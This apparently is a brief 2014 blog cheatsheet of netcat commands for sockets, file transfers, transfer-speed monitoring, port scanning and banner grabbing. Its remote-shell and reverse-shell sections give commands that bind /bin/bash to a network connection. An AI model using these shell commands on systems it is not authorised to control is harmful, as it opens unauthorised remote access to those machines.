Netcat Cheatsheet

Thu 02 October 2014
By alex

Open a socket

nc -vlp port

Send file to client

Server side, opens a socket and closes it once file is transferred

nc -vlp port -q 0 < file.send

Client side

nc -v server port > file.receive

Send file to server

Server side, opens a socket and waits to receive a file

nc -vlp port > file.recieve

Client side, sends file to server

nc -vq 0 server port < file.send

Monitor file transfer speeds using pv

pv does not need to be used by both client & server, this is for demonstration purposes only

Server side, pipe input through pv to monitor transfer speeds

cat file.send | pv | nc -vlp port

Client side, pipe ouput through pv to monitor transfer speeds

nc -v server port | pv | cat > file.recieve

Remote shell

Server side

nc -vlp port -e /bin/bash

Client side

nc -v server port

Reverse shell

Listener

nc -vlp port

Client side

nc -v listener port -e /bin/bash

Port scan

Scans ports 20-30 with -vv for verbose output

nc -vv -z hostname 20-30

Grab banner from server

echo "" | nc -vw 1 hostname 22